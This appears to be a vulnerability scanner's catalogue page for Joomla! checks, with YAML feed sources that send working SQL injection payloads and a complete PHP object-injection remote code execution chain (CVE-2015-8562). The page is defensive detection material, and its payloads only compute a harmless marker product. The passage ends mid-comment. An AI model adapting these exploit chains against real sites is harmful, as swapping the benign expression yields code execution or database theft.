Joomla! — 12 vulnerability checks

noctis ships 12 vulnerability checks for Joomla!, covering 16 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Joomla! < 3.7.1 com_fields list[fullordering] SQL injection

CVECVE-2017-8917
Severitycritical · CVSS 9.8
Categorysqli — SQL injection
Serviceshttp, https
Detectionset_var, http_request, match, script, tcp_connect · highest QoD 75
Feedtests/vulnerabilities/joomla/CVE-2017-8917.yaml

Gets a session and CSRF token from the login page, sends an UpdateXML payload in the list[fullordering] parameter of com_fields and reports when the server returns the XPATH error computed by the database.

How noctis detects it

  1. HTTP(S) request GET /index.php/component/users/?view=login
  2. Checks r1.body for name="([0-9a-f]{32})"
  3. Parses / computes the next value with a Rhai script
  4. Checks r1.headers.set-cookie for ([0-9a-f]{32}=[^;]+)
  5. Parses / computes the next value with a Rhai script
  6. Raw TCP (TLS on HTTPS), sent verbatim: GET /index.php?option=com_fields&view=fields&layout=modal&view=fields&layout=modal&option…
  7. Checks r2.banner for (?im)^HTTP/1\.[01] 500[\s\S]*XPATH syntax error:\s*(?:'|&#0?39;):255:…
  8. Checks r2.banner for Home Page< → finding QoD 75: Joomla com_fields list[fullordering] UpdateXML injection returned the server-computed XPATH error ':255:' (HTTP 500) on the Home Page conte…

References:

Feed source — tests/vulnerabilities/joomla/CVE-2017-8917.yaml
uid: 6d0c3f82-4b19-4a7e-9c52-1e8f7a6b0d35
name: "CVE-2017-8917 — Joomla! < 3.7.1 com_fields list[fullordering] SQL injection (CVSS 9.8)"
description: "Gets a session and CSRF token from the login page, sends an UpdateXML payload in the list[fullordering] parameter of com_fields and reports when the server returns the XPATH error computed by the database."
cves: [CVE-2017-8917]
cvss: 9.8
severity: critical
category: sqli
confidence_base: 0.30
tags: [joomla, sqli]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-8917"
  - "OpenVAS NASL 2017/gb_joomla_sql_inj_vuln_may17.nasl (GPL-2.0-only)"
# Ported from OpenVAS/Greenbone NASL 2017/gb_joomla_sql_inj_vuln_may17.nasl (GPL-2.0-only).
# Faithful: GET the login view for the session cookie + hidden token, then send the exact NASL
# com_fields UpdateXML payload (raw via tcp_connect, so %5B/%2B survive), carrying the full
# session cookie and the token as <token>=1. A vulnerable Joomla (< 3.7.1) throws the XPATH error
# with the SERVER-COMPUTED value ':255:' (0x3a,128+127,0x3a). Real Joomla HTML-escapes the quotes
# (&#039;:255:&#039;), so the gate accepts either raw or escaped quotes — that computed marker,
# with HTTP 500 on the "Home Page" context, is the proof, not a bare 500. A patched build
# sanitises the input and answers 200, so nothing fires (non-trivial negative).
steps:
  - id: init
    action: set_var
    var_name: base
    var_value: false
  - id: init2
    action: set_var
    var_name: xp
    var_value: false

  - id: login-view
    action: http_request
    method: GET
    path: "/index.php/component/users/?view=login"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: r1
  - id: base-gate
    action: match
    source: r1.body
    pattern: "name=\"([0-9a-f]{32})\""
    condition: "r1.status == 200"
    store_as: fs_match
    on_match:
      set_vars:
        base: true
  - id: fs-store
    action: script
    code: 'fs_match["captures"][0]'
    store_as: fsid
    condition: "base == true"
  - id: cookie-extract
    action: match
    source: r1.headers.set-cookie
    pattern: "([0-9a-f]{32}=[^;]+)"
    condition: "base == true"
    store_as: ck_match
  - id: cookie-store
    action: script
    code: 'ck_match["captures"][0]'
    store_as: ck
    condition: "base == true"

  - id: inject
    action: tcp_connect
    port: "{{port}}"
    send: "GET /index.php?option=com_fields&view=fields&layout=modal&view=fields&layout=modal&option=com_fields&{{fsid}}=1&list%5Bfullordering%5D=UpdateXML%282%2C+concat%280x3a%2C128%2B127%2C+0x3a%29%2C+1%29 HTTP/1.0\r\nHost: {{target_host}}\r\nCookie: {{ck}}\r\n\r\n"
    condition: "base == true"
    store_as: r2
  - id: xpath-gate
    action: match
    source: r2.banner
    pattern: "(?im)^HTTP/1\\.[01] 500[\\s\\S]*XPATH syntax error:\\s*(?:'|&#0?39;):255:(?:'|&#0?39;)"
    condition: "base == true"
    on_match:
      set_vars:
        xp: true
  - id: detect
    action: match
    source: r2.banner
    pattern: "Home Page<"
    condition: "xp == true"
    on_match:
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "Joomla com_fields list[fullordering] UpdateXML injection returned the server-computed XPATH error ':255:' (HTTP 500) on the Home Page context — CVE-2017-8917 pre-auth SQLi."
      stop: true

Joomla! 1.5.0 - 3.4.5 session object injection RCE (User-Agent / X-Forwarded-For)

CVECVE-2015-8562
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match, tcp_connect · highest QoD 97
Feedtests/vulnerabilities/joomla/CVE-2015-8562.yaml

Joomla! 1.5.0 through 3.4.5 store the unfiltered User-Agent / X-Forwarded-For header in the database-backed session. A header ending in a 4-byte UTF-8 character truncates the serialized session in MySQL, so the injected `}__…|O:21:"JDatabaseDriverMysqli"…` object is unserialized on the next request and its SimplePie gadget passes attacker code to assert(). The feed injects a benign `print("<marker>".(A*B));exit` and confirms the server-computed product.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET /
  3. Checks fp.body for (?i)joomla|/media/jui/|/media/system/js/|option=com_
  4. Raw TCP (TLS on HTTPS), sent verbatim: GET / HTTP/1.0
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request GET /
  7. Parses / computes the next value with a Rhai script
  8. Checks ua_check for ^true$ → finding QoD 97: Joomla! session object injection RCE via User-Agent (CVE-2015-8562)
  9. Raw TCP (TLS on HTTPS), sent verbatim: GET / HTTP/1.0
  10. Parses / computes the next value with a Rhai script
  11. HTTP(S) request GET /
  12. Parses / computes the next value with a Rhai script
  13. Checks xff_check for ^true$ → finding QoD 97: Joomla! session object injection RCE via X-Forwarded-For (CVE-2015-8562)

References:

Feed source — tests/vulnerabilities/joomla/CVE-2015-8562.yaml
uid: 2d874e0a-16ea-4a35-99a3-a53e3c9c65fe
name: "CVE-2015-8562 — Joomla! 1.5.0 - 3.4.5 session object injection RCE (User-Agent / X-Forwarded-For)"
description: "Joomla! 1.5.0 through 3.4.5 store the unfiltered User-Agent / X-Forwarded-For header in the database-backed session. A header ending in a 4-byte UTF-8 character truncates the serialized session in MySQL, so the injected `}__…|O:21:\"JDatabaseDriverMysqli\"…` object is unserialized on the next request and its SimplePie gadget passes attacker code to assert(). The feed injects a benign `print(\"<marker>\".(A*B));exit` and confirms the server-computed product."
cves: [CVE-2015-8562]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [openvas-migrated, joomla, php-object-injection, deserialization, rce, intrusive, http]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-8562"
  - "https://developer.joomla.org/security-centre/630-20151214-core-remote-code-execution-vulnerability.html"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/joomla_http_header_rce.rb"
  - "OpenVAS NASL 2015/gb_joomla_79195.nasl (GPL-2.0-only)"

# Ported from OpenVAS/Greenbone NASL 2015/gb_joomla_79195.nasl (GPL-2.0-only, Greenbone
# Community Feed). Same exploit chain as the NASL: a first GET / carries the serialized
# JDatabaseDriverMysqli -> SimplePie -> assert() object in the injected header and opens a
# session; a second GET / replaying the session cookie makes Joomla unserialize it and run the
# code. The trailing 4-byte UTF-8 character (U+1D306, as in the Nuclei template — the NASL
# uses the invalid bytes F0 FD FD FD) is what makes MySQL's 3-byte `utf8` column truncate the
# session row right after the injected object. The literal six characters `\0\0\0` are
# intentional: Joomla's session handler turns them back into the protected-property prefix.
#
# Deviations from the NASL (benign proof, better detection):
#   - The NASL runs `phpinfo();JFactory::getConfig();exit` and matches `<title>phpinfo()</title>`.
#     Here the payload is `print("<marker>".(A*B));exit` with per-run random operands; the
#     marker+product string never appears in the request, so a match proves code execution
#     (no phpinfo / configuration disclosure, nothing written besides the session row Joomla
#     creates for any visitor).
#   - Each vector (User-Agent, then X-Forwarded-For) gets its own fresh session, and both
#     responses of the pair are checked, so a server that only rotates the cookie still works.
#   - Not claimed: CVE-2015-8563/8564/8565 (other Joomla 3.4.6 fixes, not exercised here).
#   - Only the web root `/` is probed (the NASL uses the detected install dir).
steps:
  # ── Benign payload + expected token (computed per run, never sent literally) ─
  - id: build-payload
    action: script
    store_as: inj
    code: |
      let marker = "nx" + rand_hex(4);
      let a = rand_int(10007, 99991);
      let b = rand_int(10007, 99991);
      let token = marker + (a * b).to_string();
      let php = "print(\"" + marker + "\".(" + a.to_string() + "*" + b.to_string() + "));exit";
      let p1 = `}__noctis|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:`;
      let p2 = `;s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}`;
      let payload = p1 + php.len().to_string() + ":\"" + php + "\"" + p2 + "𝌆";
      #{ payload: payload, token: token }

  # ── Pre-initialise stored results (a reset connection leaves them unset) ──
  - id: init-detected
    action: set_var
    var_name: joomla_detected
    var_value: false
  - id: init-ua1
    action: set_var
    var_name: ua1
    var_value: {connected: false, banner: null}
  - id: init-ua2
    action: set_var
    var_name: ua2
    var_value: {status: 0, body: null}
  - id: init-xff1
    action: set_var
    var_name: xff1
    var_value: {connected: false, banner: null}
  - id: init-xff2
    action: set_var
    var_name: xff2
    var_value: {status: 0, body: null}

  # ── Gate: only send the exploit to something that looks like Joomla ───────
  - id: fingerprint
    action: http_request
    method: GET
    path: "/"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 10
    store_as: fp

  - id: fingerprint-match
    action: match
    source: fp.body
    pattern: "(?i)joomla|/media/jui/|/media/system/js/|option=com_"
    on_match:
      set_vars:
        joomla_detected: true

  # ── Vector 1: User-Agent. Request 1 stores the object in a new session ────
  # Raw request: the header carries a 4-byte UTF-8 character and must reach the
  # server byte-for-byte; tcp_connect also wraps TLS on https targets.
  - id: ua-store
    action: tcp_connect
    port: "{{port}}"
    condition: "joomla_detected == true"
    timeout_secs: 10
    send: "GET / HTTP/1.0\r\nHost: {{target_host}}\r\nAccept: */*\r\nAccept-Encoding: identity\r\nUser-Agent: {{inj.payload}}\r\n\r\n"
    store_as: ua1

  - id: ua-cookie
    action: script
    store_as: ua_cookie
    condition: "joomla_detected == true"
    code: |
      // Replay every cookie the response set (a load balancer / WAF cookie may
      // come before Joomla's session cookie).
      let h = if type_of(ua1.banner) == "string" { ua1.banner } else { "" };
      let jar = [];
      for line in split(h, "\n") {
        let m = eregmatch("^set-cookie:[ \\t]*([^;\\r\\n]+)", line, true);
        if m.len() >= 2 { jar.push(m[1]); }
      }
      jar.reduce(|acc, c| if acc == "" { c } else { acc + "; " + c }, "")

  # ── Request 2 replays the session: Joomla unserializes it -> assert() ─────
  # No payload needed here, so a normal HTTP client is used: it de-chunks /
  # decompresses the body and honours timeout_secs (the token is printed by a
  # destructor at PHP shutdown, i.e. usually after the whole rendered page).
  - id: ua-trigger
    action: http_request
    method: GET
    path: "/"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "joomla_detected == true && ua_cookie != \"\""
    headers:
      Cookie: "{{ua_cookie}}"
    store_as: ua2

  - id: ua-evaluate
    action: script
    store_as: ua_check
    condition: "joomla_detected == true"
    code: |
      let r1 = if type_of(ua1.banner) == "string" { ua1.banner } else { "" };
      let r2 = if type_of(ua2.body) == "string" { ua2.body } else { "" };
      stridx(r1, inj.token) >= 0 || stridx(r2, inj.token) >= 0

  - id: ua-confirm
    action: match
    source: ua_check
    pattern: "^true$"
    condition: "joomla_detected == true"
    on_match:
      finding:
        title: "Joomla! session object injection RCE via User-Agent (CVE-2015-8562)"
        description: "A serialized JDatabaseDriverMysqli/SimplePie object injected in the User-Agent header was stored in the Joomla session and unserialized on the next request; its assert() gadget evaluated a benign PHP print of a random product, confirming unauthenticated remote code execution."
        remediation: "Upgrade Joomla! to 3.4.6 or later (or apply the 1.5/2.5 hotfix) and update PHP to >= 5.4.45 / 5.5.29 / 5.6.13."
        confidence_delta: 0.65
        qod: 97
        evidence: "PHP code injected via the User-Agent session object ran on the server: the evaluated marker {{inj.token}} came back in the response to GET / (session cookie replayed)."
      stop: true

  # ── Vector 2: X-Forwarded-For, fresh session ──────────────────────────────
  - id: xff-store
    action: tcp_connect
    port: "{{port}}"
    condition: "joomla_detected == true"
    timeout_secs: 10
    send: "GET / HTTP/1.0\r\nHost: {{target_host}}\r\nAccept: */*\r\nAccept-Encoding: identity\r\nX-Forwarded-For: {{inj.payload}}\r\n\r\n"
    store_as: xff1

  - id: xff-cookie
    action: script
    store_as: xff_cookie
    condition: "joomla_detected == true"
    code: |
      // Replay every cookie the response set (a load balancer / WAF cookie may
      // come before Joomla's session cookie).
      let h = if type_of(xff1.banner) == "string" { xff1.banner } else { "" };
      let jar = [];
      for line in split(h, "\n") {
        let m = eregmatch("^set-cookie:[ \\t]*([^;\\r\\n]+)", line, true);
        if m.len() >= 2 { jar.push(m[1]); }
      }
      jar.reduce(|acc, c| if acc == "" { c } else { acc + "; " + c }, "")

  - id: xff-trigger
    action: http_request
    method: GET
    path: "/"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "joomla_detected == true && xff_cookie != \"\""
    headers:
      Cookie: "{{xff_cookie}}"
    store_as: xff2

  - id: xff-evaluate
    action: script
    store_as: xff_check
    condition: "joomla_detected == true"
    code: |
      let r1 = if type_of(xff1.banner) == "string" { xff1.banner } else { "" };
      let r2 = if type_of(xff2.body) == "string" { xff2.body } else { "" };
      stridx(r1, inj.token) >= 0 || stridx(r2, inj.token) >= 0

  - id: xff-confirm
    action: match
    source: xff_check
    pattern: "^true$"
    condition: "joomla_detected == true"
    on_match:
      finding:
        title: "Joomla! session object injection RCE via X-Forwarded-For (CVE-2015-8562)"
        description: "A serialized JDatabaseDriverMysqli/SimplePie object injected in the X-Forwarded-For header was stored in the Joomla session and unserialized on the next request; its assert() gadget evaluated a benign PHP print of a random product, confirming unauthenticated remote code execution."
        remediation: "Upgrade Joomla! to 3.4.6 or later (or apply the 1.5/2.5 hotfix) and update PHP to >= 5.4.45 / 5.5.29 / 5.6.13."
        confidence_delta: 0.65
        qod: 97
        evidence: "PHP code injected via the X-Forwarded-For session object ran on the server: the evaluated marker {{inj.token}} came back in the response to GET / (session cookie replayed)."
      stop: true

Joomla! 3.2.0 - 3.4.4 com_contenthistory list[select] SQL injection

CVECVE-2015-7297, CVE-2015-7857, CVE-2015-7858, CVE-2015-7859, CVE-2015-7899
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectiontcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/joomla/CVE-2015-7297.yaml

Requests com_contenthistory with list[select]=1 and reports when the response contains the SQL error built from the injected value (Unknown column in the order clause), showing the parameter reaches the query unsanitised.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /index.php?option=com_contenthistory&view=history&list[select]=1 HTTP/1.0
  2. Checks resp.banner for (?s)Unknown column.*Array.*order clause.*SQL=SELECT 1 → finding QoD 75: Joomla! com_contenthistory list[select] reached the SQL query (Unknown column ... order clause, SQL=SELECT 1): …

References:

Feed source — tests/vulnerabilities/joomla/CVE-2015-7297.yaml
uid: d7706bc6-8b88-45cc-9642-84fac2f6575e
name: "Joomla! 3.2.0 - 3.4.4 com_contenthistory list[select] SQL injection (CVE-2015-7297)"
description: "Requests com_contenthistory with list[select]=1 and reports when the response contains the SQL error built from the injected value (Unknown column in the order clause), showing the parameter reaches the query unsanitised."
cves: [CVE-2015-7297, CVE-2015-7857, CVE-2015-7858, CVE-2015-7859, CVE-2015-7899]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.3
tags: [openvas-migrated, http, joomla-contenthistory]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-7297"
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-7857"
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-7858"
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-7859"
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-7899"
  - "OpenVAS NASL 2015/joomla/gb_joomla_sqli_cve_2015_7297.nasl (GPL-2.0-only)"

# Ported from OpenVAS/Greenbone NASL 2015/joomla/gb_joomla_sqli_cve_2015_7297.nasl (GPL-2.0-only).
steps:
  - id: exploit
    action: tcp_connect
    port: "{{port}}"
    send: "GET /index.php?option=com_contenthistory&view=history&list[select]=1 HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: resp

  - id: detect
    action: match
    source: resp.banner
    pattern: "(?s)Unknown column.*Array.*order clause.*SQL=SELECT 1"
    on_match:
      finding:
        confidence_delta: 0.5
        qod: 75
        evidence: "Joomla! com_contenthistory list[select] reached the SQL query (Unknown column ... order clause, SQL=SELECT 1): {{resp.banner}}"
      stop: true

Joomla! ArtForms viewform / id SQL Injection

CVECVE-2010-2847
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/joomla/CVE-2010-2847.yaml

Tests the Joomla! ArtForms component (com_artforms 2.1b7.2 RC2 and earlier) for the unauthenticated SQL injection in the viewform parameter of the ferforms and tferforms tasks and the id parameter of the vferforms task of index.php?option=com_artforms, which reach the form query unquoted. In the web root and under /joomla, the feed sends each parameter a UNION SELECT of six columns, each the concatenation of a marker and the product of two random numbers, and looks for the product computed by the database in the printed form title. When it is not there, it sends an error-based payload (extractvalue of the same kind of product) and looks for the product in a printed database error (MySQL 5.1.5 or later only; on older servers only the UNION proof can fire). Either proof shows the database ran the injected SQL; no table is read and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{v.dir}}/index.php?option=com_artforms&task={{v.task}}&{{v.param}}={{sc.union}}
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{v.dir}}/index.php?option=com_artforms&task={{v.task}}&{{v.param}}={{sc.error}}
  5. Parses / computes the next value with a Rhai script
  6. Checks hit for ^union$ → finding QoD 97: Joomla! ArtForms viewform / id SQL Injection (CVE-2010-2847)
  7. Checks hit for ^error$ → finding QoD 97: Joomla! ArtForms viewform / id SQL Injection (CVE-2010-2847)

References:

Feed source — tests/vulnerabilities/joomla/CVE-2010-2847.yaml
# Joomla! ArtForms (com_artforms) viewform / id SQL injection — CVE-2010-2847
#
# ArtForms 2.1b7.2 RC2 and earlier (InterJoomla form builder, no fixed
# release) puts the viewform parameter of the ferforms and tferforms tasks and
# the id parameter of the vferforms task unquoted into the SELECT that loads
# the form (advisory: exploit-db 14263, "viewform=1 UNION SELECT 1,2,3,4,5,6#"),
# with no login.
#
# Detection (benign, read-only — no table is read): for each of the three
# vectors, GET
#   <joomla dir>/index.php?option=com_artforms&task=<task>&<param>=-1 UNION SELECT M,M,M,M,M,M-- -
# with M = CONCAT(0x4e4f43544953,<a>*<b>,0x454e44) for two random 6-digit
# numbers: the page prints the form title, so the product computed by the
# database ("NOCTIS<a*b>END") in the reply proves the injection (QoD 97).
# When it does not come back (other column count, title not printed), the
# error-based form "-1 AND extractvalue(1,concat(0x7e,<a>*<b>))" is sent: a
# site that prints database errors (Joomla debug mode) answers
# "XPATH syntax error: '~<a*b>'" (QoD 97). The value of a constant
# multiplication cannot come from the request itself, so a page that echoes
# the query is not reported.
#
# Improvements over the source NASL:
#   - The NASL does not test the SQL injection at all: it reports it only
#     through a version check of the ArtForms page (every version <= 2.1b7.2
#     RC2, i.e. every version, since no fix exists). The feed proves it on the
#     three vectors of the advisory and only reports installs where the
#     database runs the injected SQL.
#   - "-- -" instead of the advisory's "#", and a second, column-count-free
#     error-based payload.
#
# CVSS: CVE-2010-2847 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_joomla_artforms_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.902219, GPL-2.0-only).
uid: 004fb8bf-53f2-4b92-a7c3-f1ae5e0c770e
name: "Joomla! ArtForms viewform / id SQL Injection (CVE-2010-2847)"
description: |
  Tests the Joomla! ArtForms component (com_artforms 2.1b7.2 RC2 and earlier)
  for the unauthenticated SQL injection in the viewform parameter of the
  ferforms and tferforms tasks and the id parameter of the vferforms task of
  index.php?option=com_artforms, which reach the form query unquoted. In the
  web root and under /joomla, the feed sends each parameter a UNION SELECT of
  six columns, each the concatenation of a marker and the product of two
  random numbers, and looks for the product computed by the database in the
  printed form title. When it is not there, it sends an error-based payload
  (extractvalue of the same kind of product) and looks for the product in a
  printed database error (MySQL 5.1.5 or later only; on older servers only
  the UNION proof can fire). Either proof shows the database ran the injected
  SQL; no table is read and nothing is written.
cves: [CVE-2010-2847]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [joomla, joomla-component, com_artforms, artforms, sqli, sql-injection, mysql, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-2847"
  - "https://www.exploit-db.com/exploits/14263"
  # OpenVAS/Greenbone NASL 2010/gb_joomla_artforms_mult_vuln.nasl (GPL-2.0-only)

steps:
  # ── Random operands, expected values and the encoded payloads ─────────────
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let c = "CONCAT(0x4e4f43544953," + a + "*" + b + ",0x454e44)";
      #{ want: "NOCTIS" + (a * b) + "END",
         prod: "" + (a * b),
         expr: a + "*" + b,
         union: "-1%20UNION%20SELECT%20" + c + "," + c + "," + c + "," + c + "," + c + "," + c + "--%20-",
         error: "-1%20AND%20extractvalue(1,concat(0x7e," + a + "*" + b + "))" }
    store_as: sc

  - id: init-hit
    action: set_var
    var_name: hit
    var_value: ""

  # ── Loop group: every following step runs once per (folder, vector) ───────
  - id: init-union-r
    action: set_var
    var_name: union_r
    var_value: {status: 0, body: ""}
    loop:
      var: v
      over:
        - {dir: "", task: "ferforms", param: "viewform"}
        - {dir: "", task: "tferforms", param: "viewform"}
        - {dir: "", task: "vferforms", param: "id"}
        - {dir: "/joomla", task: "ferforms", param: "viewform"}
        - {dir: "/joomla", task: "tferforms", param: "viewform"}
        - {dir: "/joomla", task: "vferforms", param: "id"}

  - id: init-error-r
    action: set_var
    var_name: error_r
    var_value: {status: 0, body: ""}

  - id: union-probe
    action: http_request
    method: GET
    path: "{{v.dir}}/index.php?option=com_artforms&task={{v.task}}&{{v.param}}={{sc.union}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit == ""'
    store_as: union_r

  - id: union-check
    action: script
    condition: 'hit == ""'
    code: |
      let body = if type_of(union_r.body) == "string" { union_r.body } else { "" };
      if body.contains(sc.want) { "union" } else { "" }
    store_as: hit

  - id: error-probe
    action: http_request
    method: GET
    path: "{{v.dir}}/index.php?option=com_artforms&task={{v.task}}&{{v.param}}={{sc.error}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit == ""'
    store_as: error_r

  # The error text may be HTML-escaped ('&#039;' / '&#39;' / '&apos;').
  - id: error-check
    action: script
    condition: 'hit == ""'
    code: |
      let body = if type_of(error_r.body) == "string" { error_r.body } else { "" };
      if egrep("XPATH syntax error: (?:'|&#0?39;|&#x27;|&apos;)?~" + sc.prod + "([^0-9]|$)", body) != "" { "error" } else { "" }
    store_as: hit

  # ── Findings ──────────────────────────────────────────────────────────────
  - id: report-union
    action: match
    source: hit
    pattern: "^union$"
    on_match:
      finding:
        title: "Joomla! ArtForms viewform / id SQL Injection (CVE-2010-2847)"
        description: "An unauthenticated request to index.php?option=com_artforms with the {{v.param}} parameter of the {{v.task}} task set to a UNION SELECT of a multiplication of two random numbers returned the product computed by the database: the parameter reaches the SQL query unquoted, so an attacker can read the whole Joomla database, administrator password hashes included."
        remediation: "Remove the ArtForms component (no fixed release exists), or make it cast viewform and id to integers before building its queries."
        confidence_delta: 0.67
        qod: 97
        evidence: "{{v.dir}}/index.php?option=com_artforms&task={{v.task}}&{{v.param}}=-1 UNION SELECT CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44),... (6 columns)-- - returned the database-computed value {{sc.want}}"
      stop: true

  - id: report-error
    action: match
    source: hit
    pattern: "^error$"
    on_match:
      finding:
        title: "Joomla! ArtForms viewform / id SQL Injection (CVE-2010-2847)"
        description: "An unauthenticated request to index.php?option=com_artforms with the {{v.param}} parameter of the {{v.task}} task set to an extractvalue() of a multiplication of two random numbers returned a database error carrying the computed product: the parameter reaches the SQL query unquoted, so an attacker can read the whole Joomla database, administrator password hashes included."
        remediation: "Remove the ArtForms component (no fixed release exists), or make it cast viewform and id to integers before building its queries; turn off Joomla debug mode so database errors are not shown."
        confidence_delta: 0.67
        qod: 97
        evidence: "{{v.dir}}/index.php?option=com_artforms&task={{v.task}}&{{v.param}}=-1 AND extractvalue(1,concat(0x7e,{{sc.expr}})) returned \"XPATH syntax error: '~{{sc.prod}}'\""
      stop: true

Joomla! EQ Event Calendar eqfullevent id SQL injection

CVECVE-2015-4654
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectiontcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/joomla/CVE-2015-4654.yaml

Sends a quote in the id parameter of the eqfullevent component and reports when the response contains a MySQL syntax error that echoes the injected marker.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /index.php/component/eqfullevent?view=lists&id=1%27SQL-INJECTION-TEST HTTP/1.0
  2. Checks resp.banner for (?s)You have an error in your SQL syntax.*SQL-INJECTION-TEST → finding QoD 75: Joomla! eqfullevent id parameter returned a MySQL syntax error echoing SQL-INJECTION-TEST: …

References:

Feed source — tests/vulnerabilities/joomla/CVE-2015-4654.yaml
uid: 5d5952fe-766c-46c9-a8ca-ef612f9fcb09
name: "Joomla! EQ Event Calendar eqfullevent id SQL injection (CVE-2015-4654)"
description: "Sends a quote in the id parameter of the eqfullevent component and reports when the response contains a MySQL syntax error that echoes the injected marker."
cves: [CVE-2015-4654]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.3
tags: [openvas-migrated, http, joomla-eq-calendar]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-4654"
  - "OpenVAS NASL 2015/gb_joomla_eq_event_calendar_sql_inj_vuln.nasl (GPL-2.0-only)"

# Ported from OpenVAS/Greenbone NASL 2015/gb_joomla_eq_event_calendar_sql_inj_vuln.nasl (GPL-2.0-only).
steps:
  - id: exploit
    action: tcp_connect
    port: "{{port}}"
    send: "GET /index.php/component/eqfullevent?view=lists&id=1%27SQL-INJECTION-TEST HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: resp

  - id: detect
    action: match
    source: resp.banner
    pattern: "(?s)You have an error in your SQL syntax.*SQL-INJECTION-TEST"
    on_match:
      finding:
        confidence_delta: 0.5
        qod: 75
        evidence: "Joomla! eqfullevent id parameter returned a MySQL syntax error echoing SQL-INJECTION-TEST: {{resp.banner}}"
      stop: true

Joomla! JoomRadio component id SQL Injection

CVECVE-2008-2633
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/joomla/CVE-2008-2633.yaml

Tests the JoomRadio component for Joomla! and Mambo for the unauthenticated SQL injection in the id parameter of its show_video and show_radio pages. In the web root and in the /joomla and /mambo directories, the feed requests both pages through index.php (and show_video through index2.php) with an id that ends the original query and appends a UNION SELECT asking the database to compute the product of two random numbers, framed by a NOCTIS marker, in every column. The marker with the correct product in the page confirms that the database ran the injected query; the product is not part of the request, so a page that only echoes the URL is not reported. The probe reads no table row and changes nothing.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{url}}&id=-1%20UNION%20SELECT%20{{col}},{{col}},{{col}},{{col}},{{col}},{{col}},{{co…
  5. Parses / computes the next value with a Rhai script
  6. Checks proof for ^NOCTIS[0-9]+END$ → finding QoD 97: Joomla! JoomRadio component id SQL Injection (CVE-2008-2633)

References:

Feed source — tests/vulnerabilities/joomla/CVE-2008-2633.yaml
# Joomla! / Mambo JoomRadio component id SQL injection — CVE-2008-2633
#
# JoomRadio 1.0 (com_joomradio) copies the id parameter of its show_video and
# show_radio pages unquoted into a 7-column SELECT and prints the second column
# of each row into the page's JavaScript (var message="...").
#
# Detection (benign, read-only), per candidate path:
#   {"", /joomla, /mambo} × {page=show_video, page=show_radio}, then
#   /index2.php?...page=show_video (the second published PoC's entry point)
#   GET <dir>/index.php?option=com_joomradio&page=<page>&id=-1 UNION SELECT C,C,C,C,C,C,C-- -
#   with C = CONCAT(0x4e4f43544953,<a>*<b>,0x454e44) ("NOCTIS" <a×b> "END").
#   The product of two random 6-digit operands is computed by the database and
#   is not part of the request, so a page that only echoes the URL cannot
#   produce it. The marker is in every column, so it shows whatever column the
#   template prints. QoD 97. No table row is read or changed.
#
# Improvements over the source NASL: the NASL dumps jos_users usernames and
# password hashes (and so misses any install whose table prefix is not "jos_"),
